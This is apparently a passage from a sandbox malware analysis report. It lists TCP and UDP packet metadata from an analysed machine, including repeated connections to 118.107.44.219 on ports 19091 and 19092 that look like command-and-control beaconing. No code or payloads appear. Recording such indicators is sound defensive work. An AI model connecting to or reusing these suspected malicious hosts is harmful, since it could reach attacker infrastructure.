Dec 29, 2024 09:02:14.536041021 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:14.536104918 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:15.284045935 CET	49747	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:15.284368038 CET	49748	80	192.168.2.4	39.156.85.200
Dec 29, 2024 09:02:15.284661055 CET	49749	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:15.403749943 CET	80	49747	39.156.85.231	192.168.2.4
Dec 29, 2024 09:02:15.403856039 CET	49747	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:15.403918028 CET	80	49748	39.156.85.200	192.168.2.4
Dec 29, 2024 09:02:15.404105902 CET	80	49749	39.156.85.201	192.168.2.4
Dec 29, 2024 09:02:15.404184103 CET	49748	80	192.168.2.4	39.156.85.200
Dec 29, 2024 09:02:15.404266119 CET	49749	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:15.406244993 CET	49747	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:15.455367088 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:15.525744915 CET	80	49747	39.156.85.231	192.168.2.4
Dec 29, 2024 09:02:16.113683939 CET	49751	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:16.118736029 CET	49752	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:16.233356953 CET	80	49751	39.156.85.201	192.168.2.4
Dec 29, 2024 09:02:16.233422995 CET	49751	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:16.238246918 CET	80	49752	39.156.85.201	192.168.2.4
Dec 29, 2024 09:02:16.238308907 CET	49752	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:17.001564026 CET	80	49747	39.156.85.231	192.168.2.4
Dec 29, 2024 09:02:17.001821995 CET	80	49747	39.156.85.231	192.168.2.4
Dec 29, 2024 09:02:17.002003908 CET	80	49747	39.156.85.231	192.168.2.4
Dec 29, 2024 09:02:17.002021074 CET	49747	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:17.002183914 CET	49747	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:17.002258062 CET	49747	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:17.002707005 CET	49755	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:17.122227907 CET	80	49755	39.156.85.231	192.168.2.4
Dec 29, 2024 09:02:17.122400999 CET	49755	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:17.232032061 CET	49748	80	192.168.2.4	39.156.85.200
Dec 29, 2024 09:02:17.232230902 CET	49749	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:17.232345104 CET	49751	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:17.232448101 CET	49752	80	192.168.2.4	39.156.85.201
Dec 29, 2024 09:02:17.232543945 CET	49755	80	192.168.2.4	39.156.85.231
Dec 29, 2024 09:02:18.026551962 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:18.027101994 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:18.146133900 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:18.146570921 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:18.553643942 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:18.553718090 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:18.554636002 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:18.577312946 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:18.577368975 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:18.674110889 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:19.081820965 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:19.081899881 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:19.788495064 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:19.908122063 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:19.908162117 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:19.908171892 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:19.908181906 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:20.335791111 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:20.336114883 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:20.455626011 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:28.577920914 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:28.577991962 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:29.080614090 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:29.080708981 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:30.200666904 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:30.320379972 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:30.741657972 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:30.794229984 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:30.826570988 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:30.946125031 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:46.936474085 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:47.056154966 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:47.477442980 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:47.528603077 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:47.547113895 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:47.666672945 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:03.638056040 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:03.757777929 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:04.179034948 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:04.231786966 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:04.566518068 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:04.686144114 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:19.528655052 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:19.648077011 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:20.069307089 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:20.169233084 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:20.170553923 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:20.290999889 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:36.747454882 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:36.867029905 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:37.288850069 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:37.356789112 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:37.462064028 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:37.581593990 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:45.294847012 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:45.294847012 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:45.598126888 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:45.654021025 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:46.278604031 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:46.356753111 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:47.481733084 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:47.669245005 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:49.981740952 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:50.169231892 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:53.779469013 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:53.779572010 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:53.914891005 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:53.914949894 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:54.872358084 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:55.169294119 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:03:55.747855902 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:03:55.868042946 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:03:55.868124008 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:03.217797041 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:03.337618113 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:03.337696075 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:03.337778091 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:03.337806940 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:03.768891096 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:03.769138098 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:03.888793945 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:04.481733084 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:04:04.966130972 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:04:13.622551918 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:13.742100954 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:14.613984108 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:14.614346981 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:14.614428997 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:14.722553968 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:14.842120886 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:30.575700045 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:30.695441008 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:31.147589922 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:31.212337971 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:31.232924938 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:31.352422953 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:48.055336952 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:48.174930096 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:48.601156950 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:04:48.684889078 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:48.719703913 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:04:48.839298964 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:05.327124119 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:05.327279091 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:05.446768999 CET	19092	49891	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:05.446819067 CET	49891	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:07.263696909 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:07.383354902 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:07.383430004 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:14.999675989 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:15.356781960 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:15.429574013 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:15.429586887 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:15.429595947 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:15.429609060 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:15.477123976 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:15.844955921 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:15.845333099 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:15.964997053 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:25.247493982 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:25.367043972 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:25.775510073 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:25.856756926 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:25.859185934 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:25.978758097 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:42.606786013 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:42.606868982 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:42.727983952 CET	19091	50026	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:42.728060961 CET	50026	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:44.547662973 CET	50027	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:44.667208910 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:44.667743921 CET	50027	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:51.619580030 CET	50027	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:51.739486933 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:51.739501953 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:51.739509106 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:51.739512920 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:52.385091066 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:05:52.387902021 CET	50027	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:05:52.507512093 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:06:01.044307947 CET	50027	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:06:01.044397116 CET	50027	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:06:01.163994074 CET	19092	50027	118.107.44.219	192.168.2.4
Dec 29, 2024 09:06:01.164851904 CET	50027	19092	192.168.2.4	118.107.44.219
Dec 29, 2024 09:06:03.732121944 CET	50028	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:06:03.851650000 CET	19091	50028	118.107.44.219	192.168.2.4
Dec 29, 2024 09:06:03.851876020 CET	50028	19091	192.168.2.4	118.107.44.219

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 09:01:57.980811119 CET	53688	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:01:58.441051960 CET	53	53688	1.1.1.1	192.168.2.4
Dec 29, 2024 09:02:09.367391109 CET	59595	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:02:09.554183006 CET	55798	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:02:09.720099926 CET	58590	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:02:09.720355034 CET	57878	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:02:09.783198118 CET	53	59595	1.1.1.1	192.168.2.4
Dec 29, 2024 09:02:09.965209961 CET	53	55798	1.1.1.1	192.168.2.4
Dec 29, 2024 09:02:09.967281103 CET	23363	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:09.968031883 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:09.968128920 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.045281887 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.045281887 CET	23363	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.045373917 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.108865976 CET	53	57878	1.1.1.1	192.168.2.4
Dec 29, 2024 09:02:10.109944105 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:02:10.134640932 CET	53	58590	1.1.1.1	192.168.2.4
Dec 29, 2024 09:02:10.263241053 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.263241053 CET	23363	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.263336897 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.482146025 CET	23363	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.482248068 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.482476950 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.701884031 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.701884985 CET	23363	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:10.702392101 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.002345085 CET	23363	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.002377987 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.002404928 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.233421087 CET	23363	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.233421087 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.233467102 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.341883898 CET	3478	23363	1.192.136.170	192.168.2.4
Dec 29, 2024 09:02:11.341953039 CET	3478	23363	1.192.136.170	192.168.2.4
Dec 29, 2024 09:02:11.341981888 CET	3478	23363	1.192.136.170	192.168.2.4
Dec 29, 2024 09:02:11.342009068 CET	3478	23363	1.192.136.170	192.168.2.4
Dec 29, 2024 09:02:11.342036009 CET	3478	23363	1.192.136.170	192.168.2.4
Dec 29, 2024 09:02:11.442272902 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:02:11.493608952 CET	23363	3478	192.168.2.4	1.192.136.171
Dec 29, 2024 09:02:11.493678093 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.493716955 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.493738890 CET	23363	15054	192.168.2.4	8.46.123.189
Dec 29, 2024 09:02:11.571297884 CET	3478	23363	1.192.136.170	192.168.2.4
Dec 29, 2024 09:02:11.685421944 CET	23363	3478	192.168.2.4	1.192.136.171
Dec 29, 2024 09:02:11.685448885 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.685470104 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.685492992 CET	23363	15054	192.168.2.4	8.46.123.189
Dec 29, 2024 09:02:11.800767899 CET	3478	23363	1.192.136.170	192.168.2.4
Dec 29, 2024 09:02:11.904251099 CET	23363	3478	192.168.2.4	1.192.136.171
Dec 29, 2024 09:02:11.904428959 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.904463053 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:11.904489040 CET	23363	15054	192.168.2.4	8.46.123.189
Dec 29, 2024 09:02:12.123279095 CET	23363	3478	192.168.2.4	1.192.136.171
Dec 29, 2024 09:02:12.123385906 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.123416901 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.123440027 CET	23363	15054	192.168.2.4	8.46.123.189
Dec 29, 2024 09:02:12.341375113 CET	23363	3478	192.168.2.4	1.192.136.171
Dec 29, 2024 09:02:12.341406107 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.341423035 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.341444016 CET	23363	15054	192.168.2.4	8.46.123.189
Dec 29, 2024 09:02:12.560292959 CET	23363	3478	192.168.2.4	1.192.136.171
Dec 29, 2024 09:02:12.560369015 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.560393095 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.560406923 CET	23363	15054	192.168.2.4	8.46.123.189
Dec 29, 2024 09:02:12.778867960 CET	23363	3478	192.168.2.4	1.192.136.171
Dec 29, 2024 09:02:12.778897047 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.778911114 CET	23364	3478	192.168.2.4	1.192.136.170
Dec 29, 2024 09:02:12.778975964 CET	23363	15054	192.168.2.4	8.46.123.189
Dec 29, 2024 09:02:12.864125013 CET	3478	23363	1.192.136.171	192.168.2.4
Dec 29, 2024 09:02:12.864176035 CET	3478	23363	1.192.136.171	192.168.2.4
Dec 29, 2024 09:02:12.864190102 CET	3478	23363	1.192.136.171	192.168.2.4
Dec 29, 2024 09:02:12.864206076 CET	3478	23363	1.192.136.171	192.168.2.4
Dec 29, 2024 09:02:12.904548883 CET	3478	23363	1.192.136.171	192.168.2.4
Dec 29, 2024 09:02:12.998053074 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:02:13.106839895 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:02:13.121140957 CET	3478	23363	1.192.136.171	192.168.2.4
Dec 29, 2024 09:02:13.327155113 CET	3478	23363	1.192.136.171	192.168.2.4
Dec 29, 2024 09:02:13.549972057 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:02:13.670500994 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:02:14.017611980 CET	53321	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:02:14.017637968 CET	53909	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:02:14.156692982 CET	53	53321	1.1.1.1	192.168.2.4
Dec 29, 2024 09:02:15.013144016 CET	53909	53	192.168.2.4	1.1.1.1
Dec 29, 2024 09:02:15.282728910 CET	53	53909	1.1.1.1	192.168.2.4
Dec 29, 2024 09:02:15.282752037 CET	53	53909	1.1.1.1	192.168.2.4
Dec 29, 2024 09:03:13.263298035 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:13.372637987 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:13.591274023 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:13.919424057 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.148983002 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:03:14.149255991 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.247618914 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.356998920 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.473454952 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.511356115 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:03:14.511544943 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.575747967 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.685033083 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.702944040 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:03:14.794289112 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.903850079 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:14.911745071 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:03:15.028691053 CET	80	10004	1.192.136.132	192.168.2.4
Dec 29, 2024 09:03:15.122781038 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:15.341618061 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:15.341686964 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:15.450596094 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:15.450696945 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:15.560055017 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:15.560240984 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:15.669410944 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:15.669459105 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:15.778726101 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:15.888161898 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:15.997531891 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:16.106844902 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:16.216236115 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:16.325675964 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:16.435165882 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:16.544915915 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:16.653949022 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:16.763221025 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:16.816519022 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:16.816556931 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:16.816592932 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:16.872781038 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:16.885987997 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:16.918523073 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:16.918710947 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:16.983709097 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:17.091232061 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:17.203706026 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:17.309964895 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:17.419385910 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:17.529716015 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:17.619446039 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:17.638261080 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:17.765964031 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:17.859709978 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:17.966213942 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:18.076265097 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:18.184967041 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:18.210932970 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:18.294384956 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:18.404675961 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:18.435652018 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:18.513411999 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:18.623295069 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:18.731978893 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:18.759798050 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:18.841214895 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:18.908266068 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:18.959465981 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:19.059981108 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:19.169368982 CET	10004	80	192.168.2.4	1.192.136.135
